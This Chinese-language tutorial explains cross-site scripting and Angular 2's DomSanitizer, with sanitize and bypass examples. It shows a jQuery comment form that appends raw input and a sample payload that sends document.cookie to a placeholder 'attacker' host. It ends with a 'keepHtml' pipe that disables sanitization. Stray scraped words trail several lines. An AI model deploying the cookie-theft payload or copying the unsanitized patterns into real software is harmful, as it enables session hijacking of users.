跨站腳本(Cross-site scripting,一般簡稱爲XSS)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上,其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。javascript
XSS攻擊一般指的是經過利用網頁開發時留下的漏洞,經過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意製造的網頁程序。這些惡意網頁程序一般是JavaScript,但實際上也能夠包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻擊成功後,攻擊者可能獲得更高的權限(如執行一些操做)、私密網頁內容、會話和cookie等各類內容。 — 維基百科html
互聯網上的幾乎每一個博客都有一個評論的系統,容許用戶對文章發表評論。評論信息通常使用經常使用的 HTML 表單進行提交。具體示例以下:java
<form> <textarea class="comment" cols="30" rows="10"></textarea> <button type="submit">Submit</button> </form> <h1>Comments</h1> <ul></ul> var $form = $('form'); var $comment = $('.comment'); var $ul = $('ul'); $form.on('submit', e => { e.preventDefault(); var value = $($comment).val(); if(value) { $($ul).append(`<li>${value}</li>`); } });
如今假設攻擊者將如下代碼做爲評論信息發送到服務器:typescript
<script> window.location=’http://attacker/?cookie='+document.cookie </script>
若是網站沒有保護本身免受跨站腳本的攻擊,該內容將被保存到數據庫中,訪問該頁面的全部用戶將重定向到攻擊者的URL。然而現實中一個真正的攻擊者會建立一個更危險的腳本,例如,攻擊者能夠記錄鍵盤事件並將這些信息發送到他本身擁有的服務器。shell
剛纔咱們看到的,只是 XSS 攻擊的一個簡單示例,它還能夠有許多形式,如URL查詢,href屬性,CSS等等...數據庫
若是你想了解更多關於XSS的信息,能夠瀏覽這個網站 - excess-xss。segmentfault
Angular 2 中默認將全部輸入值視爲不受信任。當咱們經過 property,attribute,樣式,類綁定或插值等方式,將一個值從模板中插入到DOM中時,Angular 2 會自幫咱們清除和轉義不受信任的值。咱們來看一下具體示例:瀏覽器
import { Component } from '@angular/core'; @Component({ selector: 'exe-app', template: ` <div [innerHtml]="html"></div> ` }) export class AppComponent { html: string; constructor() { this.html = "<h1>DomSanitizer</h1><script>attackerCode()</script>"; } }
以上代碼運行後瀏覽器顯示的結果:安全
從上圖能夠看出,Angular 2 在編譯的時候,會自動清理 HTML 輸入並轉義不安全的代碼,所以在這種狀況下,腳本不會運行,只能在屏幕上顯示爲文本。接下來咱們繼續來看一個例子,如何綁定 iframe 的 src 屬性值:服務器
import { Component } from '@angular/core'; @Component({ selector: 'exe-app', template: ` <iframe [src]="iframe"></iframe> ` }) export class AppComponent { iframe: string; constructor() { this.iframe = "https://segmentfault.com/"; } }
以上代碼運行後,在瀏覽器中沒法正常顯示內容,控制檯中輸出瞭如下異常信息:
EXCEPTION: Error in ./AppComponent class AppComponent - inline template:1:12 caused by: unsafe value used in a resource URL context (see http://g.co/ng/security#xss)
Angular 拋出此錯誤是由於 iframe 的 src
屬性是資源 URL 安全上下文,由於不可信源能夠在用戶不知情的狀況下執行某些不安全的操做。但若是咱們確認資源的 URL 是安全的,要怎麼告知 Angular 該 URL 地址是安全的,給咱們通行證呢 ?答案是,咱們可使用 Angular 2 中提供的 DomSanitizer
服務,具體示例以下:
import { Component } from '@angular/core'; import { DomSanitizer, SafeResourceUrl } from '@angular/platform-browser' @Component({ selector: 'exe-app', template: ` <iframe [src]="iframe"></iframe> ` }) export class AppComponent { iframe: SafeResourceUrl; constructor(private sanitizer: DomSanitizer) { this.iframe = this.sanitizer.bypassSecurityTrustResourceUrl( "https://segmentfault.com/"); } }
以上代碼運行後,在瀏覽器中咱們就能夠看到正常的內容。另外須要注意的是,若是不受信任的用戶數據調用這些方法,咱們的應用程序將會存在 XSS 安全風險。
有時後咱們須要手動過濾輸入值,這時你可使用 sanitize
方法,它的簽名以下:
abstract sanitize(context: SecurityContext, value: any): string;
該方法的第一個參數表示 SecurityContext (安全上下文),它的可選值以下:
None
HTML
STYLE
SCRIPT
URL
RESOURCE_URL
sanitize 方法的使用示例以下:
import { Component, SecurityContext } from '@angular/core'; import { DomSanitizer } from '@angular/platform-browser' @Component({ selector: 'exe-app', template: ` <div [innerHtml]="html"></div> ` }) export class AppComponent { html: string; constructor(private sanitizer: DomSanitizer) { this.html = this.sanitizer.sanitize(SecurityContext.HTML, "<h1>Sanitize</h1><script>attackerCode()</script>"); console.log(this.html); } }
以上代碼運行後,控制檯的輸出信息:
WARNING: sanitizing HTML stripped some content (see http://g.co/ng/security#xss). app.component.ts:15 <h1>Sanitize</h1>attackerCode()
keepHtml 指令定義
import { Pipe, PipeTransform } from '@angular/core'; import { DomSanitizer } from '@angular/platform-browser'; @Pipe({ name: 'keepHtml', pure: false }) export class EscapeHtmlPipe implements PipeTransform { constructor(private sanitizer: DomSanitizer) { } transform(content) { return this.sanitizer.bypassSecurityTrustHtml(content); } }
keepHtml 指令使用
<div [innerHTML]="post.body | keepHtml"></div>